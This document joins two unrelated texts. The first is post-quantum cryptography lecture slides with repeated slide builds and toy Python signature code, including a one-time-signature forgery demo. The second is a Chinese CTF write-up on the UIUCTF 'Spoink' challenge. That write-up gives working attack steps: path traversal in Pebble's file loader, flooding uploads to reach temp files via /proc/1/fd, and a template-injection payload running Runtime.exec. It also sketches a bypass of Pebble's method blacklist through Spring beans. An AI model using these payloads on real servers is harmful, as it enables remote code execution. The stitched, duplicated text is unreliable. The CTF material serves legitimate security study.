CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 By end of 2017: 8 out of 69 submissions attacked. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Some less security than claimed; some really broken; some attack scripts. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 By end of 2018: 22 out of 69 submissions attacked. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Some less security than claimed; some really broken; some attack scripts. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 30 January 2019: 26 candidates retained for second round. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Some less security than claimed; some really broken; some attack scripts. Merges for second round: HILA5 & Round2; LAKE, LOCKER, & Ouroboros-R; LEDAkem & LEDApkc; NTRUEncrypt & NTRU-HRSS-KEM. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 By end of 2019: 30 out of 69 submissions attacked. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Some less security than claimed; some really broken; some attack scripts. Merges for second round: HILA5 & Round2; LAKE, LOCKER, & Ouroboros-R; LEDAkem & LEDApkc; NTRUEncrypt & NTRU-HRSS-KEM. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 22 July 2020: 15 candidates retained for third round. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. CRYSTALS-KYBER. DAGS. Ding Key Exchange. DME. DRS. DualModeMS. Edon-K. EMBLEM and R.EMBLEM. FALCON. FrodoKEM. GeMSS. Giophantus. Gravity-SPHINCS. Guess Again. Gui. HILA5. HiMQ-3. HK17. HQC. KINDI. LAC. LAKE. LEDAkem. LEDApkc. Lepton. LIMA. Lizard. LOCKER. LOTUS. LUOV. McNie. Mersenne-756839. MQDSS. NewHope. NTRU Prime. NTRU-HRSS-KEM. NTRUEncrypt. NTS-KEM. Odd Manhattan. OKCN/AKCN/CNKE. Ouroboros-R. Picnic. pqNTRUSign. pqRSA encryption. pqRSA signature. pqsigRM. QC-MDPC KEM. qTESLA. RaCoSS. Rainbow. Ramstake. RankSign. RLCE-KEM. Round2. RQC. RVB. SABER. SIKE. SPHINCS+. SRTPI. Three Bears. Titanium. WalnutDSA. Some less security than claimed; some really broken; some attack scripts. Merges for second round: HILA5 & Round2; LAKE, LOCKER, & Ouroboros-R; LEDAkem & LEDApkc; NTRUEncrypt & NTRU-HRSS-KEM. Merges for third round: Classic McEliece & NTS-KEM. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 11 National Academy of Sciences (US) 4 December 2018: Report on quantum computing Don’t panic. “Key Finding 1: Given the current state of quantum computing and recent rates of progress, it is highly unexpected that a quantum computer that can compromise RSA 2048 or comparable discrete logarithm-based public key cryptosystems will be built within the next decade.” Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 12 National Academy of Sciences (US) 4 December 2018: Report on quantum computing Don’t panic. “Key Finding 1: Given the current state of quantum computing and recent rates of progress, it is highly unexpected that a quantum computer that can compromise RSA 2048 or comparable discrete logarithm-based public key cryptosystems will be built within the next decade.” Panic. “Key Finding 10: Even if a quantum computer that can decrypt current cryptographic ciphers is more than a decade off, the hazard of such a machine is high enough—and the time frame for transitioning to a new security protocol is sufficiently long and uncertain—that prioritization of the development, standardization, and deployment of post-quantum cryptography is critical for minimizing the chance of a potential security and privacy disaster.” “[Section 4.4:] In particular, all encrypted data that is recorded today and stored for future use, will be cracked once a large-scale quantum computer is developed.” Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 12 Many stages of research from design to deployment Define the goals Explore space of cryptosystems Study algorithms for the attackers Focus on secure cryptosystems Study algorithms for the users Study implementations on real hardware Study side-channel attacks, fault attacks, etc. Focus on secure, reliable implementations Focus on implementations meeting performance requirements Integrate securely into real-world applications Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 13 Many stages of research from design to deployment Warning: waterfall data flow, undesirable. Define the goals Explore space of cryptosystems Study algorithms for the attackers Focus on secure cryptosystems Study algorithms for the users Study implementations on real hardware Study side-channel attacks, fault attacks, etc. Focus on secure, reliable implementations Focus on implementations meeting performance requirements Integrate securely into real-world applications Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 13 Major categories of public-key post-quantum systems ▶ Code-based encryption: McEliece cryptosystem has survived since 1978. Short ciphertexts and large public keys. Security relies on hardness of decoding error-correcting codes. ▶ Hash-based signatures: very solid security and small public keys. Require only a secure hash function (hard to find second preimages). ▶ Isogeny-based encryption: new kid on the block, promising short keys and ciphertexts and non-interactive key exchange. Security relies on hardness of finding isogenies between elliptic curves over finite fields. ▶ Lattice-based encryption and signatures: possibility for balanced sizes. Security relies on hardness of finding short vectors in some (typically special) lattice. ▶ Multivariate-quadratic signatures: short signatures and large public keys. Security relies on hardness of solving systems of multivariate equations over finite fields. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 14 Post-quantum public-key signatures ▶ Secret key , public key . Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 15 Post-quantum public-key signatures ? ▶ Secret key , public key . Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 15 Post-quantum public-key signatures: hash-based ▶ Secret key , public key . ▶ Only one prerequisite: a good hash function, e.g. SHA3-512, . . . Hash functions map long strings to fixed-length strings. H : {0, 1}∗ → {0, 1}n. Signature schemes use hash functions in handling . ▶ Quantum computers affect the hardness only marginally (Grover, not Shor). ▶ Old idea: 1979 Lamport one-time signatures; 1979 Merkle extends to more signatures. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 15 On the fast track: stateful hash-based signatures ▶ CFRG has published 2 RFCs: RFC 8391 and RFC 8554 Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 16 On the fast track: stateful hash-based signatures ▶ CFRG has published 2 RFCs: RFC 8391 and RFC 8554 ▶ NIST has gone through two rounds of requests for public input, most are positive and recommend standardizing XMSS and LMS. Only concern is about statefulness in general. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 16 On the fast track: stateful hash-based signatures ▶ CFRG has published 2 RFCs: RFC 8391 and RFC 8554 ▶ NIST has gone through two rounds of requests for public input, most are positive and recommend standardizing XMSS and LMS. Only concern is about statefulness in general. ▶ ISO SC27 JTC1 WG2 has started a study period on stateful hash-based signatures. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 16 A signature scheme for empty messages: key generation Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 17 A signature scheme for empty messages: key generation First part of signempty.py import os import hashlib def keypair(): secret = sha3_256(os.urandom(32)) public = sha3_256(secret) return public,secret Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 17 A signature scheme for empty messages: key generation First part of signempty.py import os import hashlib def keypair(): secret = sha3_256(os.urandom(32)) public = sha3_256(secret) return public,secret >>> import signempty >>> import binascii >>> pk,sk = signempty.keypair() >>> binascii.hexlify(pk) b’a447bc8d7c661f85defcf1bbf8bad77bfc6191068a8b658c99c7ef4cbe37cf9f’ >>> binascii.hexlify(sk) b’a4a1334a6926d04c4aa7cd98231f4b644be90303e4090c358f2946f1c257687a’ Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 17 A signature scheme for empty messages: signing, verification Rest of signempty.py def sign(message,secret): if message != ’’: raise Exception(’nonempty message’) signedmessage = secret return signedmessage def open(signedmessage,public): if sha3_256(signedmessage) != public: raise Exception(’bad signature’) message = ’’ return message Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 18 A signature scheme for empty messages: signing, verification Rest of signempty.py def sign(message,secret): if message != ’’: raise Exception(’nonempty message’) signedmessage = secret return signedmessage def open(signedmessage,public): if sha3_256(signedmessage) != public: raise Exception(’bad signature’) message = ’’ return message >>> sm = signempty.sign(’’,sk) >>> signempty.open(sm,pk) ’’ For more see Tanja’s talks page for lecture on hash-based signatures and code snippets (some included here as bonus slides) at PQC Mini-School @Academia Sinica. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 18 The best post-quantum systems in round 3 of the NIST competition (= systems from us and from our colleagues at Academia Sinica) ▶ https://classic.mceliece.org: Classic McEliece. Code-based encryption. ▶ https://www.pqcrainbow.org: Rainbow. Multivariate-quadratic signatures. ▶ https://ntruprime.cr.yp.to: NTRU Prime. Lattice-based encryption. ▶ https://sphincs.org: SPHINCS+. Hash-based signatures. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 19 Further information ▶ https://pqcrypto.org our overview page. ▶ PQCrypto 2016, PQCrypto 2017, PQCrypto 2018 all with slides from the talks; PQCrypto 2020 (21–23 September) online, free registration. ▶ https://pqcrypto.eu.org: PQCRYPTO EU Project. ▶ PQCRYPTO recommendations. ▶ Free software libraries (libpqcrypto, pqm4, pqhw). ▶ Many reports, scientific articles, (overview) talks. ▶ https://2017.pqcrypto.org/school: PQCRYPTO summer school with 21 lectures on video, slides, and exercises. ▶ https://2017.pqcrypto.org/exec and https://pqcschool.org/index.html: Executive school (less math, more perspective). ▶ Quantum Threat Timeline from Global Risk Institute, 2019. ▶ https://csrc.nist.gov/Projects/post-quantum-cryptography/ Post-Quantum-Cryptography-Standardization: NIST PQC competition. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 20 Bonus slides A signature scheme for 1-bit messages: key generation, signing Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 22 A signature scheme for 1-bit messages: key generation, signing First part of signbit.py import signempty def keypair(): p0,s0 = signempty.keypair() p1,s1 = signempty.keypair() return p0+p1,s0+s1 def sign(message,secret): if message == 0: return (’0’ , signempty.sign(’’,secret[0:32])) if message == 1: return (’1’ , signempty.sign(’’,secret[32:64])) raise Exception(’message must be 0 or 1’) Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 22 A signature scheme for 1-bit messages: verification Rest of signbit.py def open(signedmessage,public): if signedmessage[0] == ’0’: signempty.open(signedmessage[1],public[0:32]) return 0 if signedmessage[0] == ’1’: signempty.open(signedmessage[1],public[32:64]) return 1 raise Exception(’message must be 0 or 1’) Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 23 A signature scheme for 1-bit messages: verification Rest of signbit.py def open(signedmessage,public): if signedmessage[0] == ’0’: signempty.open(signedmessage[1],public[0:32]) return 0 if signedmessage[0] == ’1’: signempty.open(signedmessage[1],public[32:64]) return 1 raise Exception(’message must be 0 or 1’) >>> import signbit >>> pk,sk = signbit.keypair() >>> sm = signbit.sign(1,sk) >>> signbit.open(sm,pk) 1 Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 23 A signature scheme for 4-bit messages: key generation First part of sign4bits.py import signbit def keypair(): p0,s0 = signbit.keypair() p1,s1 = signbit.keypair() p2,s2 = signbit.keypair() p3,s3 = signbit.keypair() return p0+p1+p2+p3,s0+s1+s2+s3 Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 24 A signature scheme for 4-bit messages: sign & verify Rest of sign4bits.py def sign(m,secret): if type(m) != int: raise Exception(’message must be int’) if m < 0 or m > 15: raise Exception(’message must be between 0 and 15’) sm0 = signbit.sign(1 & (m >> 0),secret[0:64]) sm1 = signbit.sign(1 & (m >> 1),secret[64:128]) sm2 = signbit.sign(1 & (m >> 2),secret[128:192]) sm3 = signbit.sign(1 & (m >> 3),secret[192:256]) return sm0+sm1+sm2+sm3 def open(sm,public): m0 = signbit.open(sm[0:2],public[0:64]) m1 = signbit.open(sm[2:4],public[64:128]) m2 = signbit.open(sm[4:6],public[128:192]) m3 = signbit.open(sm[6:],public[192:256]) return m0 + 2*m1 + 4*m2 + 8*m3 Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 25 Do not use one secret key to sign two messages! >>> import sign4bits >>> pk,sk = sign4bits.keypair() >>> sm11 = sign4bits.sign(11,sk) >>> sign4bits.open(sm11,pk) 11 >>> sm7 = sign4bits.sign(7,sk) >>> sign4bits.open(sm7,pk) 7 >>> forgery = sm7[:6] + sm11[6:] >>> sign4bits.open(forgery,pk) 15 Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 26 Lamport’s 1-time signature system Sign arbitrary-length message by signing its 256-bit hash: def keypair(): keys = [signbit.keypair() for n in range(256)] public,secret = zip(*keys) return public,secret def sign(message,secret): msg = message.to_bytes(200, byteorder="little") h = sha3_256(msg) hbits = [1 & (h[i//8])>>(i%8) for i in range(256)] sigs = [signbit.sign(hbits[i],secret[i]) for i in range(256)] return sigs, message def open(sm,public): message = sm[1] msg = message.to_bytes(200, byteorder="little") h = sha3_256(msg) hbits = [1 & (h[i//8])>>(i%8) for i in range(256)] for i in range(256): if hbits[i] != signbit.open(sm[0][i],public[i]): raise Exception(’bit %d of hash does not match’ % i) return message Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 27
pdf
2022UIUCTF-Spoink(pebble最新模板注⼊) 写在前⾯ 之前周末忙着强⽹杯,对这道题只做了⼀半就搁置下来了,最后卡在绕过最新pebble模板引擎 RCE那⾥,今天抽空来继续进⾏剩下的分析,正好题⽬⾥有⼏个在现实场景当中能⽤的trick顺 便也分享了 题⽬环境分析 也是挺不错题⽬直接给了docker环境便于本地搭建,同时设置了权限需要执⾏./getflag才能获 取获得flag FROM openjdk:18-slim-bullseye RUN mkdir /usr/src/app WORKDIR /usr/src/app # create user RUN groupadd chalusr RUN useradd -ms /bin/bash -g chalusr chalusr COPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./ COPY spoink/public ./public COPY spoink/templates ./templates COPY getflag ./ RUN chmod 111 ./getflag USER chalusr 路由只有⼀个,根据参数x返回指定模板,刚看到这⾥的时候其实有点懵,毕竟很少见到只给 ⼀个路由的代码 不过我很快关注到了⼀个application.properties当中⼀个很有趣的点,也就是这⾥没有后缀,因 此想到了⼀个⽬录穿越的可能 正⽂ ⽬录穿越 CMD ["java", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"] @Controller public class HomeController {    public HomeController() {   }    @RequestMapping({"/"})    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {        return (String)template.orElse("home.pebble");   } } pebble.prefix = templates pebble.suffix = 为什么我说上⾯那个点很有趣,其实就是第⼀个想分享的trick,路径穿越,简单来说pebble当 中有两个loader⼀个是classpathloader,另⼀个是fileloader,优先会在classpath下尝试加载模板 ⽂件,如果寻找不到则使⽤fileloader尝试加载模板⽂件,其他调⽤栈不是很重要这⾥就不多提 了 既然想实现任意⽂件读那第⼀个就别想了,我们来看第⼆个,它在 com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板⽂件内容 可以很明显看到这⾥没有做路径限制,导致我们可以进⾏跨⽬录读任意⽂件 结果如下 RCE攻击路径初步构建 因此我们便能成功想到⼀条能RCE的攻击路径 1. 上传带恶意内容的模板⽂件到⽬标服务器 2. 利⽤LFI读取这个模板并RCE 如何上传⽂件?上传了如何获取? 但是这⾥就遇到第⼀个难点,如何上传⽂件?这⾥路由当中并没有上传⽂件的功能点 怎么办?其实很简单,我们也知道,我们的Spring MVC框架是围绕DispatcherServlet来设计 的,这个Servlet会把请求分发给各个处理器,并⽀持可配置的处理器映射、视图渲染、本地 化、时区与主题渲染和 ⽂件上传 等功能,好了我都圈出来重点了 在这过程当中它会检查这是否是⼀个表单请求 正好我们也知道spring默认使⽤内置的tomcat引擎, 在处理表单的内容当中这会调⽤ org.apache.catalina.connector.Request#getParts 去处理解析内容,⽽这在之前的⽂章Tomcat⽂件上传流量层⾯系列⽂章当中也提到过,遗忘 的可以去我的博客考古 废话不多说,类似php的处理⼀样,它会先将上传的⽂件保存到⼀个临时⽬录再最终复制到⽬ 标⽂件夹,临时⽂件夹的获取在哪⾥, 在 org.apache.catalina.connector.Request#parseParts 发现是通过 javax.servlet.MultipartConfigElement#getLocation 函数获取到保存到 临时路径 不难看到这⾥是空对吧,也就是默认值(默认的话后⾯会存到/tmp⽬录下),顺便多提⼀下,哪 ⾥可以设置这个location呢 在spring的启动过程当中,会根据 spring.servlet.multipart.location 的值设置这个内 容,具体可以⾃⾏去参考org.springframework.boot.autoconfigure.web.servlet.MultipartProperties @ConfigurationProperties(    prefix = "spring.servlet.multipart",    ignoreUnknownFields = false ) public class MultipartProperties {    private boolean enabled = true;    private String location;    private DataSize maxFileSize = DataSize.ofMegabytes(1L);    private DataSize maxRequestSize = DataSize.ofMegabytes(10L);    private DataSize fileSizeThreshold = DataSize.ofBytes(0L);    private boolean resolveLazily = false;    public MultipartProperties() {   }    public boolean getEnabled() {        return this.enabled;   }    public void setEnabled(boolean enabled) {        this.enabled = enabled;   }    public String getLocation() {        return this.location;   }    public void setLocation(String location) {        this.location = location;   }    public DataSize getMaxFileSize() {        return this.maxFileSize;   }    public void setMaxFileSize(DataSize maxFileSize) {        this.maxFileSize = maxFileSize;   }    public DataSize getMaxRequestSize() {        return this.maxRequestSize;   } ok回到正⽂,如果这为空,就会保存到默认路径,也就 是 javax.servlet.context.tempdir ,实际上就是在/tmp⽬录下    public void setMaxRequestSize(DataSize maxRequestSize) {        this.maxRequestSize = maxRequestSize;   }    public DataSize getFileSizeThreshold() {        return this.fileSizeThreshold;   }    public void setFileSizeThreshold(DataSize fileSizeThreshold) {        this.fileSizeThreshold = fileSizeThreshold;   }    public boolean isResolveLazily() {        return this.resolveLazily;   }    public void setResolveLazily(boolean resolveLazily) {        this.resolveLazily = resolveLazily;   }    public MultipartConfigElement createMultipartConfig() {        MultipartConfigFactory factory = new MultipartConfigFactory();        PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();  map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);        map.from(this.location).whenHasText().to(factory::setLocation);        map.from(this.maxRequestSize).to(factory::setMaxRequestSize);        map.from(this.maxFileSize).to(factory::setMaxFileSize);        return factory.createMultipartConfig();   } } 这⾥调试可以看到将会保存在这个看着就不能爆破的⽂件夹下, 且不说前⾯这个又臭又长的⽂件夹,在最终⽣成临时⽂件时 org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile 还有靠UID随机⽣成的⽂件名,真的是不怕⿇烦 try {  String locationStr = mce.getLocation();  File location;  if (locationStr != null && locationStr.length() != 0) {    location = new File(locationStr);    if (!location.isAbsolute()) {      location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context .tempdir"), locationStr)).getAbsoluteFile();   } } else {    location = (File)context.getServletContext().getAttribute("javax.servlet.context.temp dir"); } 不过当然我们肯定是有办法的啦,别忘了有个东西叫⽂件描述符,这玩意⼉是啥我想⼤家都 知道,因此我们可以通过上传⼤⽂件多线程狂轰乱炸,burp都给我冲起来!不得不说狂轰乱炸 法yyds!按理说上传完了以后这玩意⼉就应该关闭,结果我发现我停⽌后,去和yzddmr6吹⽜ ⼀分钟都还在。 当然其实还可以通过curl命令的--limit-rate参数来限制HTTP请求和回应的带宽,但我觉得burp 狂轰乱炸更适合我. 顺便多提⼀句你可能会好奇为什么⼀定是 /proc/1/fd ,因为这是在docker⾥⾯,之前看 docker逃逸的时候看到的,⽐如这篇⽂章虽然没提到原因:Determine if a Process Runs Inside a Container protected File getTempFile() {  if (this.tempFile == null) {    File tempDir = this.repository;    if (tempDir == null) {      tempDir = new File(System.getProperty("java.io.tmpdir"));   }    String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());    this.tempFile = new File(tempDir, tempFileName); }  return this.tempFile; } curl --limit-rate 1k -X POST http://vps:1234 -F "file=@/tmp/1.txt" 之后就是如何实现模板注⼊实现RCE了 利⽤现有环境Bypass最新版Pebble模板引擎限制 ⽹上随便抄了⼀个看起来最新的 结果命令⾏⼤⼤的问号?然后想到了这是最新版修复了之前的问题 根据报错内容的显⽰,接下来我们看看具体做的哪些限制,可以看到够恶⼼的不能是下⾯这 么多类的实例???并且能调⽤FORBIDDEN_METHODS 当中的⽅法,特别是判断是否为 Class实例将我们反射的路给断掉了(在这个模板语法当中只能通过xx.class.forName去获取其他 对象) ,剩下代码也很简单就不带着读了 {% set cmd = 'id' %} {% set bytes = (1).TYPE     .forName('java.lang.Runtime')     .methods[6]     .invoke(null,null)     .exec(cmd)     .inputStream     .readAllBytes() %} {{ (1).TYPE     .forName('java.lang.String')     .constructors[0]     .newInstance(([bytes]).toArray()) }} public class BlacklistMethodAccessValidator implements MethodAccessValidator {    private static final String[] FORBIDDEN_METHODS = new String[] {"getClass", "wait", "notify", "notifyAll"};    public BlacklistMethodAccessValidator() {   } 如何绕过限制加载任意Class对象 我们也知道Spring 应⽤程序的许多实例都隐式注册为bean,因此我们能不能从bean当中找到⼀ 个对象⽽这个对象当中保存了classloader对象,通过获取到它我们就能通过执⾏loadClass加载 到任意对象    public boolean isMethodAccessAllowed(Object object, Method method) {        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);        return !methodForbidden;   }    private boolean isUnsafeMethod(Method member) {        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);   }    private boolean isAnyOfMethods(Method member, String... methods) {        String[] var3 = methods;        int var4 = methods.length;        for(int var5 = 0; var5 < var4; ++var5) {            String method = var3[var5];            if (this.isMethodWithName(member, method)) {                return true;           }       }        return false;   }    private boolean isMethodWithName(Method member, String method) {        return member.getName().equals(method);   } } 既然如此,第⼀反应其实就是想到去上下⽂中看看有没有这些bean对象,⽽pebble在初始化上 下⽂时是 在 com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.i o.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 当中 可以看到这个map当中存了beans对象,⽽这个beans对象当中存的是那些bean对象,⼀⽅⾯我 们可以直接遍历输出到控制台 另⼀⽅⾯我们也可以直接在代码当中看⼀眼,反正不费事往上看看,可以看到是 在 com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToMod el 当中,获取了spring的应⽤程序上下⽂并添加到beans属性当中 因此我们可以通过表达式获取到这个上下⽂当中注册的bean,去尝试寻找⼀些其他的属性来 绕过限制, 因此为了⽅便遍历bean当中的类,我们在原路由前加上获取上下⽂的部分代码 private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {  model.put("beans", new Beans(this.getApplicationContext()));  model.put("request", request);  model.put("response", response);  model.put("session", request.getSession(false)); } 重新启动项⽬并访问可以得到控制台输出 @RequestMapping({"/"}) public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {  ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().get ServletContext();  org.springframework.web.context.WebApplicationContext context  = org.springframework.web.context.support.WebApplicationContextUtils.getWebA pplicationContext(sss);  String[] beanDefinitionNames = context.getBeanDefinitionNames();  for (String o:beanDefinitionNames) {    System.out.println(o.toString()); }  return (String)template.orElse("home.pebble"); }       //输出 org.springframework.context.annotation.internalConfigurationAnnotationProc essor org.springframework.context.annotation.internalAutowiredAnnotationProcesso r org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.event.internalEventListenerProcessor org.springframework.context.event.internalEventListenerFactory spoinkApplication org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactor y homeController pebbleLoader org.springframework.boot.autoconfigure.AutoConfigurationPackages org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConf iguration propertySourcesPlaceholderConfigurer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletA utoConfiguration$TomcatWebSocketConfiguration websocketServletWebServerCustomizer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletA utoConfiguration org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactory Configuration$EmbeddedTomcat tomcatServletWebServerFactory org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactory AutoConfiguration servletWebServerFactoryCustomizer tomcatServletWebServerFactoryCustomizer org.springframework.boot.context.properties.ConfigurationPropertiesBinding PostProcessor org.springframework.boot.context.internalConfigurationPropertiesBinderFact ory org.springframework.boot.context.internalConfigurationPropertiesBinder org.springframework.boot.context.properties.BoundConfigurationProperties org.springframework.boot.context.properties.EnableConfigurationPropertiesR egistrar.methodValidationExcludeFilter server-org.springframework.boot.autoconfigure.web.ServerProperties webServerFactoryCustomizerBeanPostProcessor errorPageRegistrarBeanPostProcessor org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoCo nfiguration$DispatcherServletConfiguration dispatcherServlet spring.mvc- org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoCo nfiguration$DispatcherServletRegistrationConfiguration dispatcherServletRegistration org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoCo nfiguration org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration taskExecutorBuilder applicationTaskExecutor spring.task.execution- org.springframework.boot.autoconfigure.task.TaskExecutionProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfi guration$WhitelabelErrorViewConfiguration error beanNameViewResolver org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfi guration$DefaultErrorViewResolverConfiguration conventionErrorViewResolver spring.web-org.springframework.boot.autoconfigure.web.WebProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfi guration errorAttributes basicErrorController errorPageCustomizer preserveErrorControllerTargetClassPostProcessor org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration $EnableWebMvcConfiguration requestMappingHandlerAdapter requestMappingHandlerMapping welcomePageHandlerMapping localeResolver themeResolver flashMapManager 